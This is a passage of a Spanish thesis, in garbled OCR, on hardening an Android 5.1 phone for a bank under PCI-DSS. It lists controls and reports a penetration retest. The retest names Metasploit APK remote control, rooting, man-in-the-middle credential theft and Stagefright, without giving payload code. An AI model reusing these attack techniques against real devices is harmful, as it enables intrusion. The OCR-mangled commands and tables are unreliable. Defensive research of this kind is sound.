- CAWINDOWS\system32\cmd.exe - adb shell - O

A rootlPgeneric:sshin # chmod w—x,.go—ruwx adbd

Figura 66 Modificacion de permisos de binarios para impedir la ejecucion de software por medio de USB.

Fuente: Autoria propia

7.2.4 Deshabilitar la tarjeta SD

Se procede a deshabilitar la tarjeta sd del dispositivo ya que por este canal pueden existir

riesgos de fuga de informacién o ejecucion de ficheros con contenido malicioso.

127 irootlBgeneric > mnt # unmount /mtnssdcard~ _android_secure _V

127 irootPgeneric:-mnt #

Figura 67 Comando para desmontar la sd-card

Fuente: Autoria propia
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7.2.5 Forzar usar contrasefas para acceder al dispositivo

Es importante forzar el uso de contrasefias para acceder al dispositivo, ya que puede caer
en manos de un usuario malicioso y pueden verse comprometidos los activos de informacion
del Banco Unir.

afnil (0O 9. E 4% 310w

&« Elegir bloqueo pant.

Ninguna

Deslizar

Desbloquear voz

Patron

PIN

Contrasena

Figura 68 Configuracion acceso smartphone

Fuente: Autoria propia

7.2.6 Forzar a no rehusar las 13 Ultimas contrasefnas

Esta politica llevada a su implementacién como control es una buena practica, porque mitiga

en gran medida los ataques de diccionario.

7.2.7 Bloquear el dispositivo después de 30 segundos

Normalmente cuando un dispositivo mévil es portado por un usuario descuidado, es posible
gue quede desbloqueado por tiempo indefinido, por tal razén es importante que de manera
automatica el dispositivo sea bloqueado en un tiempo minimo, para reducir la oportunidad a

los actores maliciosos.
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@@ X @ 2 L@ Gl (5 11:18am

I Bloquear automaticamente I
O De inmediato

() 5 segundos

(O 15 segundos

(® 30 segundos

O 1 minuto
(O 2 minutos
(O 5 minutos
O 10 minutos

() 30 minutos

Cancelar

Figura 69 Tiempo antes del bloque de pantalla

Fuente: Autoria propia

7.2.8 Antivirus

Teniendo en cuenta la creciente popularidad del sistema operativo Android lollipop versién
5.1 y de igual manera el incremento de la creacion de malware para dispositivos moviles, se

convierte en necesidad la instalacidon de un software antivirus.

La solucién de antivirus para dispositivos méviles instalada corresponde a AVG antivirus

free, el cual permite entre otras caracteristicas:

e Analizar ficheros en tiempo real.
e Localizar el dispositivo.
e Hacer un wipe al dispositivo.

e Configurar opciones de privacidad.
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@@ ¢ IO sal EE 70% 12:02pm

= | AVG AntiVirus FREE

Analizar ahora en busca de amenazas ocultas

(7)

RENDIMIENTO

Figura 70 Antivirus

Fuente: Autoria propia

7.2.9 Instalar solucion MDM

Remotamente es posible administrar y gestionar el dispositivo movil por medio de la solucion

MDM en inglés (mobile device management) Spiceworks.

Better User
Portal with
LDAP integrati

Get a help desk...
that actually helps.

Device Breakdown Top 10 User Installed Apps

—

Figura 71 Dashboard solucion MDM

Learn More

Fuente: Autoria propia
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Se pueden controlar aplicaciones instaladas en el smartphone, verificar si se encuentra

rooteado, localizar el dispositivo, hacer un wipe, entre otras posibilidades.

Inventory -~ Dashboard My Network - Reports Purchasing =
Unlock premium MDM tools == Locate | Lock = Reset Passcode | Wipe | Manage~
bancounir_bancounir-Lenovo A2010- .
LENOVO Lenovo A20104
Owner: bancounir bancounir

Figura 72 Panel de gestion solucién MDM

Fuente: Autoria propia

7.2.10 Cifrar el dispositivo

En caso de pérdida esta es una opcion Optima para mitigar los riesgos de pérdida de

informacién confidencial.

amE A0 T Gl 11:18am

< | Encriptar dispositivo

Puedes encriptar las cuentas,
configuracién, aplicaciones
descargadas y sus datos, archivos
multimedia y otros archivos
Después de encriptar el teléfono, si
configuraste un blogueo de pantalla
(es decir, un patrén o un PIN
numeérico o una contrasefia),
tendras que desbloquear la pantalla
para desencriptar el teléfono cada
vez que lo enciendas. La unica otra
forma de desencriptar es
restablecer la configuracién de
fabrica, de manera que se borren
todos los datos.

La encriptacién tarda una hora o
mas. Para comenzar, la bateria

i SN

Figura 73 Cifrado dispositivo

Fuente: Autoria propia
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7.2.11 Deshabilitar depuracién USB

Con la inactivacién de la depuracién USB, se evita la realizacién de actividades por medio
del Android debug bridge.

@O ¢ {FO &l B 6% 11:21am

< Opciones del programador

Activado @

Permanecer activo

La pantalla nunca quedara inactiva
mientras el dispositivo se esté
cargando

Desblogueo de OEM

Permitir que el cargador de inicio se
desbloquee

Depuracion

Depuracién por USB
Modo de depuracion cuando se D

conecta el USB

Ubicaciones de prueba
Permitir ubicaciones de prueba

Figura 74 Depuracion USB deshabilitada

Fuente: Autoria propia

7.2.12 Deshabilitar instalacion de fuentes desconocidas

Es muy importante deshabilitar la instalacién de fuentes desconocidas ya que previene la

instalacion de ficheros sin firmar o maliciosos.

a® ¢ & O vl ED 66% 11:20am

& Seguridad

Fuentes desconocidas

Permitir la instalacién de D
aplicaciones provenientes de

fuentes desconocidas

Figura 75 Fuentes desconocidas

Fuente: Autoria propia
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7.2.13 Deshabilitar usuario ROOT

Se procede a deshabilitar el usuario root, el cual se habia configurado en la etapa de

explotacion y a eliminar de los sistemas el binario que permite habilitar el root.

¢ a0 X 3l EB 70% 12:01em

Root Checker Basic

VERIFICARROOT MEJORAS GLOBAL B

Sorry! Root access is
not properly installed

X on this device.
Dispositivo: Lenovo

A2010-
Versién de Android: 5.1

Figura 76 Desinstalacion Root

Fuente: Autoria propia

7.2.14 Instalar actualizaciones del fabricante

En la pestafia acerca del dispositivo, en el menu configuraciones se procede a elegir la

opcién actualizacién del sistema.

M| a0 © ¥l EJ 36% 10:08 am

¢ o O v, B 36% 10:08m

& Acerca del dispositivo

Actualizacion del sistema

Estado
Numero de teléfono, sefial, etc.

El sistema posee la version mas
reciente.

Informacion legal

Actualizacion del sistema
Verificar actualizacion del sistema en el
servidor

Numero de modelo
Lenovo A2010-

Figura 77 Actualizacién del sistema

Fuente: Autoria propia
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7.2.15 Habilitar registros de auditoria

Con el comando adb-logcat > Androidbancounir.log ejecutado desde el Android debug

bridge méas conocido como ADB es posible obtener los eventos de registros del sistema.

Figura 78 Ejecucion comando Logcat

Fuente: Autoria propia

En el host w8 desde el que se realiza la configuracion por ADB se valida que los registros de

eventos estén creados, para su posterior correlacion.

C=UzerssblrAn~ApplatasLocal“Androidssdkwplatform—tools>dipr
El volumen de la wunidad C no tiene etigueta.
El nimero de serie del volumen es: 1A78-987C

Directorio de C:xUzers-blrBn~AppData~Local~Android~sdk~platform—tools

107822816 B9:36 a.
10-82 2816 B7:36 a.
21872816 B85:28 p.
21872816 B85%:28 p.
21872816 B85:28 p.
18-87 2816 B7:46 a.
21872816 B85:28 p.
21-87-2816 B5%:28 p.
21872816 B85%:28 p.
21.-87-2016 B5:28 n.
21872816 B85%:28 p.
21872816 B85%:28 p.
21872816 B5%:28 p.
21-87-20016 B5:28 p. 17.814 source.properties
21-87-2816 B5:28 p. mn. ?26.528 sglited.exe
21-87-268016 @5:28 p. m. <DIR:> syztrace

11 archivos 13.235_853 hytes

L dirs 18.123.644.928 hytez libres

<DIR> .
<DIR> .-
1.477.688 adh.exe
2?7.792 AdbUinApi.dll
£2 9726 _odhllinllchind 411
8.833.69? Androidbancounir.log
<DIR~ apL
147456 dmtracedump.exe
329.216 etcltool.exe
882 _.384 fasthoot.exe
43 _.8@8 hprof-—conv.exe
libb4
675.3880 NOTICE.txt

Figura 79 Fichero generado por logcat

Fuente: Autoria propia

7.3 Test posterior alaimplementacion de los controles

Ya implementados los controles definidos en la guia de aseguramiento Android para el
cumplimiento de los requisitos 1.4 y 4.1 de la industria de tarjetas de pago (PCI-DSS), se
realiza nuevamente un test de penetracion, ejecutando los mismos ataques de la etapa

explotacién.
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1. Seintenta instalar la aplicacion Android.apk y no es posible porgue se tiene

deshabilitada la instalacion de fuentes desconocidas.

afSm @ [f © wa E 70% 11:56am

Instalacion bloqueada

Tu dispositivo se configuré para
bloquear la instalacion de
aplicaciones de fuentes
desconocidas.

Cancelar  Configuracién

Figura 80 Mensaje de bloqueo instalacién fuentes desconocidas

Fuente: Autoria propia

2. El antivirus AVG, detecta la aplicacién maliciosa Android.apk con la firma
com.metasploit.stage como programa potencialmente no deseado.

AVG AntiVirus FREE alerta

com.metasploit.stage se clasifica como
Programa potencialmente no deseado.
Presione 'Eliminar’ para borrar este archivo.
[Android/Deng2.UC]

Figura 81 Bloqueo instalacion apk malicioso por el antivirus

Fuente: Autoria propia
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3. Los datos confidenciales en su proceso de transmision entre el dispositivo movil y el

servidor vpn Banco Unir, son protegidos mediante la aplicacion del protocolo ssl-tls,

lo cual mitiga ataques de hombre en el medio, adicionalmente la configuracion del

firewall en el dispositivo mévil, no permite que el trafico sea redireccionado a nodos

maliciosos.

Finalizado el procedimiento de retest se evidencia que los ataques realizados posteriores a

la implementacion de los controles, no fueron exitosos de acuerdo a los resultados

evidenciados en las imagenes.

Complejidad

Exito explotacién

Compromiso de la
informacion
confidencial

Valoracion de la complejidad para
realizar el ataque, en términos
porcentuales.

Cuantificacion
Se mide en escala de 0 a 10, siendo:
0= Menos complejo
10= Més complejo

Se mide si se logré explotar la
vulnerabilidad, propuesta en el
ataque, en términos porcentuales.

Se mide en escala de 0 a 10, siendo:
0= Menos complejo
10= Més complejo

Volumen de informacién confidencial
en términos porcentuales.

Se mide en escala de 0 a 10, siendo:
0= Minimo de informacion
10= El total de la informacion

No aplica cuantificar o no tiene
relevancia sobre el atributo.

N/A

Tabla 15 Convenciones retest de penetracion

Tabla. Autoria propia

Es posible evidenciar que los controles aplicados, siguiendo los lineamientos definidos en el

documento Guia de aseguramiento de dispositivos méviles Android para el cumplimiento de

los requisitos 1.4 y 4.1 de la industria de tarjetas de pago (PCI-DSS), no permitieron que se

materializaran los ataques y fueron contenidas las amenazas identificadas previamente, lo

cual confirma la efectividad de los controles implementados como se puede apreciar en la

siguiente tabla.
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%

ATAQUE TECNICA EFECTIVIDAD
DEL ATAQUE

Control remoto
Comprometer SMS (Metasploit) 0 0 0 0%

Elevacidon de privilegios Rooting 3 0 N/A 0%

Descarga e instalacion de apk Control remoto
maliciosa (Metasploit) 2 0 N/A 0%

A h I
Robo de credenciales (FTP) mt:gilée('(\dﬂtle_r)ombre ene 2 0 0 0%

Control remoto
(Metasploit) 1 0 0 0%

Control remoto
(Metasploit) 2 0 | N/A 0%

Vulnerabilidad Stagefright (CVE-2015- 23l
6602)

Robo de informacion confidencial

Instalacion apk maliciosa sd-card

N/A 0 N/a 0%

Tabla 16 Resultados Retest de penetracion

Tabla. Autoria propia

8 Descripcionde los resultados obtenidos

8.1 Riesgos identificados vs controles aplicados

En la siguiente tabla se pueden apreciar los controles aplicados a los riesgos identificados
en el analisis de riesgos, con el fin de complementar los propuestos por la industria de

tarjetas de pago PCI-DSS en sus requisitos 1.4y 4.1.

ID RIESGO RIESGOS

CONTROLES

Ausencia de un canal de comunicacién seguro
b
R1
Instalacion de programas con contenido malicioso, desde la sd-
- card C4, C8, C12, C13
R2
Descarga de aplicaciones del market que contenga virus
R3
- Afectacion de dispositivo con un touchlogger
C8, C12, C13
R4
Alteracion modificacion destruccion de datos de forma no
- autorizada C7, C10, C11, C13
R5
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Explotar vulnerabilidades del sistema
C8

Eliminacion masiva de datos por ejecucién de comandos
C11, C13

~

o

Control remoto del dispositivo
C1, C2, C9, C12, C13

Propagacion de virus por recursos de red compartidos
C8, C12

Ausencia o definicion errada de los estandares y o patrones de

seguridad Aplicacion de la guia

de aseguramiento

Aplicacion parcial o deficiente de parches de seguridad liberados
por el fabricante C14

Ausencia de verificacion de registros de auditoria
C15

py)
N

Suplantacion de funcionarios. (En caso de pérdida o robo)
C5, C6, C7,C10

Utilizacion del dispositivo para fines personales
C1, C2, C4, C9, C13

PY)
IS

Conectar el dispositivo a diferentes redes inalambricas
C1, C2

()]

Inexistencia de software antivirus actualizado
C8

Ausencia de politicas y procedimientos implementados de | cjasificar activos de
clasificacion de informacion informacion

El uso de contrasefias fuertes para el acceso al dispositivo 5. o7

Ausencia de personal que investigue el nacimiento de nuevas| crear equipo de
cepas de malware investigacion de
seguridad informatica

Asignacion errada de privilegios de acceso a los usuarios a la red

interna, por medio del smartphone G ez, G
Ausencia de mecanismos de revision periédica a las Establecer
configuraciones seguras que deben tener los dispositivos moviles |  procedimiento de
Android lollipop v 5.1 validacion periddica

de controles

Tabla 17 Riesgos vs controles aplicados

Tabla. Autoria propia
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8.2 Indicadores de medicion grado de efectividad controles

implementados

En la siguiente tabla, el porcentaje de efectividad de los controles se mide en 6 aspectos
asociados al proceso de implementacion, ejecucién y validacién de las medidas aplicadas

para mitigar los riesgos identificados en la etapa de andlisis de riesgos.

Para realizar la ponderacién que conlleva al porcentaje de efectividad, fueron evaluados los

siguientes aspectos:

CONVENCIONES Detalle Cuantificacion
Valoracion de la Se mide en escalade 0a 10,

Complejidad de complejidad para realizar el | siendo:

Implementacion ataque, en términos 0= Menos complejo
porcentuales. 10= Mas complejo
Se mide en términos Se mide en escala de 0 a 10,
porcentuales el control siendo:
implementado la capacidad | 0= Minima posibilidad de
para ser gestionado y la gestion.

Gestion facilidad de realizar 10= Excelente posibilidad de

mantenimientos a las gestion.

configuraciones aplicadas.

La solucién o configuracidon |Se mide en escala de 0 a 10,
posibilita la generacién de | siendo:

logs para ser 0= Recursos de auditoria para
Correlacién de correlacionados, en correlacién inexistentes.
informacion términos porcentuales. 10= Buenos recursos para
correlacionar los eventos de
seguridad.

Generacion de alertas de Se mide en escala de 0 a 10,
seguridad por parte de la siendo:

Alertas de solucidn o la configuracién, | 0= No genera alertas

SEgLIEED) en términos porcentuales. | 10= Genera alertas de todos los
eventos identificados.
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Se mide si se presentd Se mide en escala de 0 a 10,
algun tipo de incidencia de |siendo:
seguridad que afecte la 0= No se presentaron incidencias
confidencialidad, de seguridad.

Incidencias disponibilidad o integridad | 10= Se presentaron incidencias

posteriores al delaine .. f |
Sontrol e la informacioén, en gue afectaron la

términos porcentuales; confidencialidad, disponibilidad

posteriores a la aplicacion | o integridad de la informacion.
del control.

Se cuantifica en términos Se mide en escala de 0a 10,
porcentuales si laamenaza |[siendo:

fue mitigada. 0= No fue mitigada la amenaza.
L 10= Fue mitigada la amenaza. Se
Mitigacion de la - .
amenaza evité compromiso de la

informacion contenida en el
dispositivo movil.

Tabla 18 Convenciones indicadores de medicidn grado de efectividad controles implementados

Tabla. Autoria propia

Con referencia al total de los riesgos identificados se procede a realizar una medicion de la
efectividad de los controles, haciendo especial énfasis al porcentaje de cumplimiento de los

recomendados en los requisitos 1.4 y 4.1 de la industria de tarjetas de pago.

¢ Configurar ttnel cifrado de comunicacion.

e Configurar reglas de firewall en el dispositivo mévil.

INDICADORES DE MEDICION GRADO DE EFECTIVIDAD CONTROLES IMPLEMENTADOS

%

CONTROLES EFECTIVIDAD

Configurar tunel cifrado de

| &
comunicacion

Configurar reglas de firewall en
el dispositivo mévil

Deshabilitar la instalacion de

software y el acceso por USB
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. Deshabilitar la tarjeta SD 1 8 7 0 0 10 60%
Rl : | o |2 o | o |o|
ROt Il : | o W wa| o |10 oo
ol : | || o |0 | 7|
Instalacion software Antivirus 2 8 8 9 0 4 68%
Instalacion solucién MDM 2 9 N/A | 8 0 3 75%

Cifrar el dispositivo 1 9 N/A | NJ/A| O 3 55%
ci11 Deshabilitar depuracion USB 1 9 N/A | N/A| O 5 65%

Deshabilitar instalaciéon de
Gtz fuentes desconocidas 2 8 N/A | 8 0 5 70%

C13 Deshabilitar usuario ROOT 1 N/A | 8 8 0 10 75%

Instalar actualizaciones del
cl4 fabricante 1 3 8 |[N/A| O 7 73%

C15 | Habilitar registros de auditoria 3 5 9 7 0 N/A 60%

Tabla 19 Efectividad de los controles aplicados

Tabla. Autoria propia

|
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9 Conclusiones, recomendaciones y trabajos

futuros

9.1 Conclusiones

e Las herramientas automatizadas para la identificacion de las vulnerabilidades
comerciales utilizadas nessus y openvas en el piloto experimental, no arrojaron
resultados relevantes sobre vulnerabilidades criticas, medias o bajas, tan solo
reportaron informativas y el desarrollo de la investigacién demostré, que hay varias

brechas de seguridad que fueron explotadas de manera exitosa.

e Se identificaron los riesgos mas criticos que afectan a los dispositivos méviles con

sistema operativo Android lollipop versién 5.1.

e El desarrollo del piloto experimental permitié evidenciar que cuando a un dispositivo
movil con sistema operativo Android lollipop versién 5.1, no se le aplican las minimas
configuraciones de seguridad, se convierte en un blanco facil y vulnerable a ataques

informaticos.

e Se comprobd la efectividad de la aplicacién del documento guia de aseguramiento
de dispositivos méviles Android para el cumplimiento de los requisitos 1.4y 4.1 de la
industria de tarjetas de pago (PCI-DSS), para la mitigacion de los riesgos

identificados en el caso del dispositivo mévil Android Lenovo Angus 2010-I.

e La implementacion de un canal de comunicacion seguro, que proteja los principios
fundamentales de la seguridad de la informacién, la creacion de reglas en el firewall
del smartphone, la eliminacion de los servicios innecesarios y la configuracion de un
punto central para gestionar todos los dispositivos; son las medidas de contencién
contra ataques informaticos viables y contribuyen a fortalecer la seguridad de las

infraestructuras méviles con dispositivos Android lollipop v 5.1.

e Lainstalacion de una solucién de antivirus y un administrador de dispositivos mdviles

como capa adicional de seguridad, garantiza la proteccion de la confidencialidad,
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disponibilidad e integridad de los datos de clientes que se almacenen y gestionen

desde los dispositivos maviles con sistema operativo Android lollipop versién 5.1.

e Los controles aplicados garantizan para el dispositivo usado en el piloto experimental
el cumplimiento de los requisitos 1.4 y 4.1 de las normas de la industria de tarjetas
de pago PCI-DSS.

e Con los resultados obtenidos en el piloto experimental, se puede concluir que a
pesar de haber realizado las test de penetracion en un dispositivo marca Lenovo, es
claro que las pruebas realizadas sobre el sistema operativo Android version 5.1 son
aplicables a otras marcas en el mercado, sujetas a validaciones previas de interfaz

de configuracion.

9.2 Recomendaciones

e Realizar capacitaciones a los usuarios de los dispositivos méviles Android con el fin
de concientizarlos acerca de los riesgos a los que estan expuestos alojando

informacién sensible en sus smartphone.

¢ Implementar de acuerdo a los controles propuestos por lo menos un canal cifrado de
comunicacion, un antivirus y un sistema de gestion MDM para lograr salvaguardar de

una manera eficiente y responsable los activos del entorno financiero.

e Adoptar como politica el diligenciamiento de la guia de aseguramiento de
dispositivos moviles Android para el cumplimiento de los requisitos 1.4 y 4.1 de la

industria de tarjetas de pago (PCI-DSS)

9.3 Trabajos Futuros

Desarrollar una aplicacion que automatice el proceso de aseguramiento de los dispositivos
méviles con sistema operativo Android lollipop version 5.1 en un entorno financiero, con el

fin de cumplir con la normativa de la industria de tarjetas de pago PCI-DSS.
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